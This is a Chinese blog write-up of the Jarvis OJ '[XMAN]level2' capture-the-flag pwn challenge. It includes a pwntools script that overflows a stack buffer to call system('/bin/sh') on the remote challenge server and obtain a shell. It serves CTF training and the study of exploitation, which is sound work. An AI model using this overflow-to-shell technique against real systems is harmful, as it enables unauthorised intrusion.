Jarvis OJ - [XMAN]level2 - Writeup

简单利用“/bin/sh”夺权

Jarvis OJ - [XMAN]level2 - Writeup

简单看一下

Jarvis OJ - [XMAN]level2 - Writeup

放到ida中发现了“/bin/sh”串,和system函数,可以利用==

Jarvis OJ - [XMAN]level2 - Writeup

所以只要在vuln函数返回时跳转到system函数,同时添加参数“/bin/sh”就可以实现啦

#!/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import * io = remote("pwn2.jarvisoj.com",9878)
elf = ELF("./level2") sys_addr = elf.symbols["system"]
bin_addr = elf.search("/bin/sh").next() payload = 'a'*(0x88 + 0x4) #辣鸡填充值
payload += p32(sys_addr) #覆盖返回地址到system函数
payload += p32(0xdeadbeef)  #随意填写system函数调用结束的返回地址
payload += p32(bin_addr)  #system函数的参数,指向“/bin/sh”,实现调用 io.recvline()
io.sendline(payload)
io.interactive()
io.close()

此时程序流程如图

Jarvis OJ - [XMAN]level2 - Writeup

放成果图

Jarvis OJ - [XMAN]level2 - Writeup

其实这种没有PIE保护的程序,很多函数地址可以直接从ida中复制过来,在exp中直接赋值为0x8048···,但是为了增强普适性,均使用symbols函数获得

作者:辣鸡小谱尼


出处:http://http://www.cnblogs.com/ZHijack/

如有转载,荣幸之至!请随手标明出处;

上一篇:redhat6修改主机名


下一篇:【canvas系列】用canvas实现一个colorpicker(类似PS的颜色选择器)